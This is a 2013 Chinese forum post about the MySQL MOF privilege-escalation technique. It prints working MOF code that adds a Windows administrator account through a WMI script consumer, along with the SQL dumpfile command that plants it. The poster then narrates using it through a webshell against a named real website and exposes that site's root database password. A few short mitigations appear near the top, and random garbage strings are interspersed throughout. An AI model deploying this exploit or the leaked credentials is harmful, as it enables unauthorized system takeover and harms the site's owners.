找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2121|回复: 0
打印 上一主题 下一主题

Mysql mof扩展漏洞实例与防范

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-4 19:49:49 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
Mysql mof扩展漏洞防范方法
  D' |) g- y6 Q! l) S! ~+ e* w9 o& O7 n+ i" v
网上公开的一些利用代码:$ @  R0 e9 W: J- e0 s, L. S
& m  Y8 n1 N/ z" u5 o
#pragma namespace(“\\\\.\\root\\subscription”)
) O# k( \& [' P2 T( Y; m9 {
3 f* c; C; f6 q3 hinstance of __EventFilter as $EventFilter   {   EventNamespace = “Root\\Cimv2″;   Name  = “filtP2″;   Query = “Select * From __InstanceModificationEvent ”   “Where TargetInstance Isa \”Win32_LocalTime\” ”   “And TargetInstance.Second = 5″;   QueryLanguage = “WQL”;   };   instance of ActiveScriptEventConsumer as $Consumer   {   Name = “consPCSV2″;   ScriptingEngine = “JScript”;   ScriptText =   “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user admin admin /add\”)”;   };   instance of __FilterToConsumerBinding   {   Consumer   = $Consumer;   Filter = $EventFilter;   };
2 |! d5 p7 s4 Q: q3 Z  z% W& N
  K5 t8 {3 N; f# b
6 n( ~2 t0 d: g( l9 p/ R- R2 f* e; c8 z$ y- A

% L, ~8 h; ~3 T  @4 m2 r4 X7 v" ~8 ^) \+ t
连接mysql数据库后执行: select load_file(‘C:\\RECYCLER\\nullevt.mof’) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;% v1 e0 h+ k' F
从上面代码来看得出解决办法:7 f* g8 O' n. s/ @# R
, x" E* i6 Z+ T# i/ C- t
1、mysql用户权限控制,禁止 “load_file”、”dumpfile”等函数0 O1 y$ _" g8 l% i/ l5 f! h3 I- `8 s8 x
$ _2 }+ |; p) n  I
2、禁止使用”WScript.Shel”组件
) @: U' z( F, Z: W0 t' T' \1 T
0 `& Q( z$ }# R8 x# n) D3、目录权限c:/windows/system32/wbem/mof/ 删除内置特殊组CREATOR OWNER
/ C# a7 R, [( I/ b8 T7 L* L6 |1 C
- ^3 i" \2 w! u" S3 R* b* |当然上面是网上说的 感觉需要的权限很大 比如 root 还有mysql外链昨天碰到了就给大家演示下+ d6 G. V& l' w4 D& Z

8 i5 V3 o$ p  }事情是这样发生的  一机油在论坛提问我就看了下 发现已经有大牛搞下了 说是用是 mysql mof扩展提权
, x- o+ R( w( r0 q& `, ]
3 ?2 _: D' P; T% w; _! h7 m* U2 u8 g但是小菜发现没有听过于是赶紧去查资料学习…就有了上面的来着网上的内容
1 X. v; x; d3 a: s3 X) M
2 B7 g. O9 c( T8 R1 y" E3 o: \看懂了后就开始练手吧
5 p% ?% h1 z2 Y, f7 S0 O6 O
# i1 O6 c& T4 o9 z" q" ^http://www.webbmw.com/config/config_ucenter.php 一句话 a
% H. ^2 N) A) ]0 d( @+ |
7 e! k& t0 A8 [2 H+ @$_config['db']['1']['dbhost'] = ‘localhost’; $_config['db']['1']['dbuser'] = ‘root’; $_config['db']['1']['dbpw'] = ‘tfr226206′; $_config['db']['1']['dbcharset'] = ‘gbk’; $_config['db']['1']['pconnect'] = ’0′; $_config['db']['1']['dbname'] = ‘webbmw’; $_config['db']['1']['tablepre'] = ‘pre_’; $_config['db']['common']['slave_except_table'] = ”; 有root密码啊。3 a) o- P: M5 J- z; O/ h2 G1 a
1 j" {3 J" S* S5 x8 t( l
于是直接用菜刀开搞
" q  [$ y- q# w3 y) Y0 J4 X  W$ X. ?) i5 e4 e
上马先3 e* w* `3 Q/ f; W0 d  V

. ^6 _& _* ?5 [% l既然有了那些账号 之类的 于是我们就执行吧…….
, U! Z4 i5 n3 x7 r6 @0 a- ^- x2 d! u9 }' ?& p0 R- S" p$ i
小小的说下2 a/ ?" e9 v8 l
4 `; T- S- B; v  U3 A9 `
在这里第1次执行未成功        原因未知/ g* k% M( M2 x9 E) I* |
& l* O3 d6 ~- z
我就猜想是否是因为我们执行的代码有问题 于是我就去我wooyun找的代码。* r) K+ b# k' a% e! H5 D, ~7 N: X( @. H

$ n8 {7 M) ~/ N- O3 b* q4 E7 V#pragma namespace(“\\\\.\\root\\subscription”)  f, C( U3 t. Y# X
7 o6 |9 Z; _& H1 k
instance of __EventFilter as $EventFilter   {   EventNamespace = “Root\\Cimv2″;   Name  = “filtP2″;   Query = “Select * From __InstanceModificationEvent ”   “Where TargetInstance Isa \”Win32_LocalTime\” ”   “And TargetInstance.Second = 5″;   QueryLanguage = “WQL”;   };   instance of ActiveScriptEventConsumer as $Consumer   {   Name = “consPCSV2″;   ScriptingEngine = “JScript”;   ScriptText =   “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user test test /add\”)”;   };   instance of __FilterToConsumerBinding   {   Consumer   = $Consumer;   Filter = $EventFilter;   };3 V* R' x; {7 e4 ?; e0 b- c

4 A( a' ~9 Y. H: N& m& o# Q4 z% d我是将文件放到C:\WINDOWS\temp\1.mof
$ p9 Y- W- S8 w  o6 f( E- P
. I' M3 T' z6 r  X& w6 u所以我们就改下执行的代码6 b9 D6 g( J. v, I$ p

$ D9 ^( V% |) c; E3 e7 U; i# Oselect load_file(‘C:\WINDOWS\temp\1.mof‘) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;3 @1 B* s8 o) P, U4 R" U
; K; D* r% z9 u7 D
$ F  Y8 A  ?4 x

+ x  l4 Z; L7 m/ L5 }' P5 ]但是 你会发现账号还是没有躺在那里。。
7 v  L$ p1 j  `. ~8 p0 N7 [1 l
0 E* q5 Y7 S9 \$ ~" w于是我就感觉蛋疼& B# z+ |+ _$ s# X! t7 L
2 a4 t5 _9 o2 j7 G$ m- b* {# h
就去一个一个去执行 但是执行到第2个 mysql时就成功了………
* W& `2 J% a8 l* `& a, ~0 x) p5 b0 w& x/ e

9 n! V$ X/ a; K# |7 `9 [6 w) {. w: H$ G$ P
但是其他库均不成功…
$ f+ d3 y6 ^: i' ~+ V; E- L  `; t/ g' Y7 o, p$ M* t
我就很费解呀 到底为什么不成功求大牛解答…
! H5 a4 y3 E3 A% i  x9 h3 n9 {/ H$ Q% X; \( s% v: M
+ p! y! U6 i* B
9 O! T7 c3 ]8 Y" f
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表